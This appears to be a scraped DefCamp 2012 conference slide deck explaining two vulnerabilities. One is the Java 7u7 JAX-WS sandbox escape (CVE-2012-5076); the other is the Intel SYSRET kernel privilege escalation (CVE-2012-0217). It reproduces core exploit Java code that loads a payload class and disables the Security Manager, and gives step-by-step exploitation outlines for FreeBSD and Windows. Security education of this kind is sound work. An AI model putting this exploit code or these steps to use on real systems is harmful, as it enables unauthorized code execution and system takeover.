How does a 0day work? - DefCamp 2012
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This document summarizes a 0day exploit that abuses the JAX-WS classes from a Java applet to execute arbitrary Java code outside the sandbox. The exploit affects Java 7u7 and earlier. It bypasses the Java security model using the GenericConstructor and ManagedObjectManagerFactory classes to dynamically load and instantiate a payload class without restrictions. The exploit source code is shown loading a payload from a byte array and executing it to achieve remote code execution on the target system.
![##
# This file is part of the Metasploit Framework and may be subject to
D
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
E
# http://metasploit.com/
##
F
require 'msf/core'
C
require 'rex' A
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
M
include Msf::Exploit::Remote::HttpServer::HTML
P
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({ :javascript => false }) 2
def initialize( info = {} )
super( update_info( info,
0
'Name'
'Description' => %q{
=> 'Java Applet JAX-WS Remote Code Execution', 1
This module abuses the JAX-WS classes from a Java Applet to run arbitrary Java
code outside of the sandbox as exploited in the wild in November of 2012. The
2
vulnerability affects Java version 7u7 and earlier.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Vulnerability Discovery
'juan vazquez' # metasploit module
]
...................................................................................](https://image.slidesharecdn.com/howdoesa0daywork-121217045527-phpapp02/85/How-does-a-0day-work-DefCamp-2012-7-320.jpg)
![D
Exploit source E
F
paths = [
[ "Exploit.class" ], C
[ "MyPayload.class" ] A
] M
p = regenerate_payload(cli) P
jar = p.encoded_jar 2
0
Links: 1
- https://metasploit.com/svn/framework3/trunk/external/source/exploits/cve- 2
2012-5076/Exploit.java
- https://metasploit.com/svn/framework3/trunk/external/source/exploits/cve-
2012-5076/MyPayload.java](https://image.slidesharecdn.com/howdoesa0daywork-121217045527-phpapp02/85/How-does-a-0day-work-DefCamp-2012-8-320.jpg)
![D
Cool parts E
import com.sun.org.glassfish.gmbal.ManagedObjectManagerFactory; F
import com.sun.org.glassfish.gmbal.util.GenericConstructor;
C
GenericConstructor genericconstructor = new GenericConstructor(Object.class, A
"sun.invoke.anon.AnonymousClassLoader", new Class[0]);
Object obj = genericconstructor.create(new Object[] {}); M
Method method =
ManagedObjectManagerFactory.getMethod(obj.getClass(), "loadClass", new Class[] { byte[].class }); P
Class class1 = (Class)method.invoke(obj, new Object[] {
//byte_payload
buffer
}); 2
class1.newInstance();
//System.out.println("SecurityManager:" + System.getSecurityManager()); 0
//class1.getMethod("r", new Class[0]).invoke(class1, new Object[0]);
Payload.main(null); 1
//Runtime.getRuntime().exec("calc.exe");
2
public MyPayload()
{
AccessController.doPrivileged(this);
}
public Object run() throws Exception
{
System.setSecurityManager(null);
return null;
}](https://image.slidesharecdn.com/howdoesa0daywork-121217045527-phpapp02/85/How-does-a-0day-work-DefCamp-2012-9-320.jpg)
![D
How does this 0day work? E
F
0. Abuse of “GenericConstructor” and “ManagedObjectManagerFactory”
C
- “GenericConstructor” and “ManagedObjectManagerFactory” – bypass
Java security model A
M
1. Create an instance of “sun.invoke.anon.AnonymousClassLoader”
P
- “sun.invoke.anon.AnonymousClassLoader” – Restricted, privileged
2. Call “loadClass” method from “sun.invoke.anon.AnonymousClassLoader” 2
- “loadClass” – Loads a byte[] stream class 0
1
3. Call the default constructor of our class, loaded using
“AnonymousClassLoader” 2
- Since it is called from a privileged code, it will run privileged,
disable Security Manager
4. Enjoy
- Do whatever you want](https://image.slidesharecdn.com/howdoesa0daywork-121217045527-phpapp02/85/How-does-a-0day-work-DefCamp-2012-11-320.jpg)
How does a 0day work? - DefCamp 2012
- 1. D E F C A How does a 0day work? M P Ionut Gabriel Popescu 2 0 “Nytro” 1 https://www.rstcenter.com/forum/ 2
- 2. D E F Contents C A M 1. Why? P 2. CVE-2012-5076 2 3. CVE-2012-0217 0 1 4. Questions? 2
- 3. D Why E to learn how do 0days work? F C A - Not so many interested people M - A very interesting subject P - Unlimited possibilities: Windows/Linux, Java… 2 - Highly technical skills 0 1 - Deep understanding of “internals” 2 - Don’t be a script kiddie – Metasploit? - Not so complicated at all
- 4. D Java Applet JAX-WS Remote Code E F CVE-2012-5076 C A Disclosure: 16 Oct 2012 M Discovered by: Unknown P Oracle patch: October 2012 2 Exploited: November 2012 0 Java: Version 7 update 7 (7u7) 1 Fastly included by: BlackHole, Nuclear Pack, RedKit… 2 Metasploit module: juan vazquez Also known as: Java drive-by
- 5. D E Browser Java applets can NOT: F C A - Access filesystem - Access system clipboard M - Transfer data from other server P - Load native libraries - Change Security Manager 2 - Create a Class Loader 0 - Read certain system Properties 1 2 Source: - http://docs.oracle.com/javase/tutorial/deployment/applet/security.html
- 6. Exploit - Metasploit D E F C A M P 2 0 1 2 Is this 1337?
- 7. ## # This file is part of the Metasploit Framework and may be subject to D # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. E # http://metasploit.com/ ## F require 'msf/core' C require 'rex' A class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking M include Msf::Exploit::Remote::HttpServer::HTML P include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :javascript => false }) 2 def initialize( info = {} ) super( update_info( info, 0 'Name' 'Description' => %q{ => 'Java Applet JAX-WS Remote Code Execution', 1 This module abuses the JAX-WS classes from a Java Applet to run arbitrary Java code outside of the sandbox as exploited in the wild in November of 2012. The 2 vulnerability affects Java version 7u7 and earlier. }, 'License' => MSF_LICENSE, 'Author' => [ 'Unknown', # Vulnerability Discovery 'juan vazquez' # metasploit module ] ...................................................................................
- 8. D Exploit source E F paths = [ [ "Exploit.class" ], C [ "MyPayload.class" ] A ] M p = regenerate_payload(cli) P jar = p.encoded_jar 2 0 Links: 1 - https://metasploit.com/svn/framework3/trunk/external/source/exploits/cve- 2 2012-5076/Exploit.java - https://metasploit.com/svn/framework3/trunk/external/source/exploits/cve- 2012-5076/MyPayload.java
- 9. D Cool parts E import com.sun.org.glassfish.gmbal.ManagedObjectManagerFactory; F import com.sun.org.glassfish.gmbal.util.GenericConstructor; C GenericConstructor genericconstructor = new GenericConstructor(Object.class, A "sun.invoke.anon.AnonymousClassLoader", new Class[0]); Object obj = genericconstructor.create(new Object[] {}); M Method method = ManagedObjectManagerFactory.getMethod(obj.getClass(), "loadClass", new Class[] { byte[].class }); P Class class1 = (Class)method.invoke(obj, new Object[] { //byte_payload buffer }); 2 class1.newInstance(); //System.out.println("SecurityManager:" + System.getSecurityManager()); 0 //class1.getMethod("r", new Class[0]).invoke(class1, new Object[0]); Payload.main(null); 1 //Runtime.getRuntime().exec("calc.exe"); 2 public MyPayload() { AccessController.doPrivileged(this); } public Object run() throws Exception { System.setSecurityManager(null); return null; }
- 10. Classes and methods D E F - GenericConstructor C - GenericConstructor.create A - sun.invoke.anon.AnonymousClassLoader M - sun.invoke.anon.AnonymousClassLoader.loadClass P - ManagedObjectManagerFactory - ManagedObjectManagerFactory.getMethod 2 - Method 0 - Method.invoke 1 - Class 2 - Class.newInstance - Payload.main(null);
- 11. D How does this 0day work? E F 0. Abuse of “GenericConstructor” and “ManagedObjectManagerFactory” C - “GenericConstructor” and “ManagedObjectManagerFactory” – bypass Java security model A M 1. Create an instance of “sun.invoke.anon.AnonymousClassLoader” P - “sun.invoke.anon.AnonymousClassLoader” – Restricted, privileged 2. Call “loadClass” method from “sun.invoke.anon.AnonymousClassLoader” 2 - “loadClass” – Loads a byte[] stream class 0 1 3. Call the default constructor of our class, loaded using “AnonymousClassLoader” 2 - Since it is called from a privileged code, it will run privileged, disable Security Manager 4. Enjoy - Do whatever you want
- 12. D E F C A M P Questions? 2 0 1 2
- 13. D Intel SYSRET privilege escalation E CVE-2012-0217 F C Discovered by: Rafal Wojtczuk A Disclosed: 12 April 2012 M Patched: 12 June 2012 P Affected operating systems: - FreeBSD 2 - Windows 7 0 - Linux (NO - CVE-2006-0744 - DOS) 1 Just 64 bit systems are vulnerable 2 Complicated, tricky Only Intel x64 processors
- 14. D Intro x64 E F Registers extended to 64 bits: RAX, RBX… RIP, RSP C - AH/L = 1B, AX = 2 bytes, EAX = 4 bytes, RAX = 8 bytes A M New general purpose registers: P - R8, R9, R10, R11, R12, R13, R14, R15 New calling convention: 2 - RCX – 1st argument 0 - RDX – 2nd argument 1 - R8 – 3rd argument - R9 – 4th argument 2 Still requires stack to be reserved Windows x64 replaced fs with gs – TIB (Thread Information Block)
- 15. D Why? E F - Because of “sysret” instruction C - Older system calls – very slow: Interrupts (Ex. int 0x80) A - Interrupts need to use IDT (Interrupt Dispatch Table) M - AMD: syscall/sysret, Intel: sysenter/sysexit (saves RIP in RCX) P - Intel follows AMD 64 standard (not exactly) - Just 48 bits are used (not all 64) = 256 TB of memory available 2 - Must use canonical addresses (bits 48-63 == 47) 0 - A #GP (General Protection) is raised for non-canonical RIP 1 - On exception, exception record is pushed on the stack: error code, 2 Saved: RIP, CS, RFLAGS, RSP, SS - Usermode stack is changed to kernel mode stack – “safe” one - If RSP is invalid, #DF (double fault) is raised
- 16. D Privileges E F C A - Main purpose: full privileges (no limitations) M - Rings: 0, 1, 2, 3 – Because segment descriptor DPL == 2 bits P - Windows and Linux uses just 0 and 3 (compatibility) - Low privilege to high privilege: system calls 2 - Change from usermode to kernel mode with syscall and reverse: 0 1. RIP is in usermode, RSP is in usermode, syscall 1 2. RIP - kernel mode, RSP - usermode (replaced during system call), sysret 2
- 17. D E How does this 0day work? F C - What can happen during sysret: interrupts, exceptions A - Interrupts are not blocked, but are forbidden (one MSR) M - How about exceptions? #GP P - On AMD, #GP is not raised for non-canonical address in RCX (safe) 2 - On Intel, if we can have RIP (depends on OS how) to a non-canonical address before sysret, #GP will be raised 0 - #GP is raised while CPU is in privileged mode 1 - Use RSP to overwrite kernel structure to execute code with ring0 2 privileges
- 18. Operating system specific D E FreeBSD: F 1. Place a “syscall” (0x0f, 0x05) right before a non-canonical address ((1 << 47) - 2) C 2. Set RSP to a calculated value to make sure the exception record pushed on stack will A overwrite #PF (Page Fault)’s “target” offset (raised) with a pointer to our kernelmode payload M 3. #PF will be raised (because gs is usermode) and will execute our payload P 4. Recover overwritten IDTs to avoid a triple fault (machine reboot) 2 Windows: 0 1. Create an UMS scheduled thread (EnterUmsSchedulingMode) 1 2. Set RIP and RSP from TEB (Thread Environmet Block) to a non-canonical address 3. Create a new thread that will continuously overwrite return address from #GP stack after it 2 writes it but before it is read (after function call) Enjoy!
- 19. D E F C A M P Questions? 2 0 1 2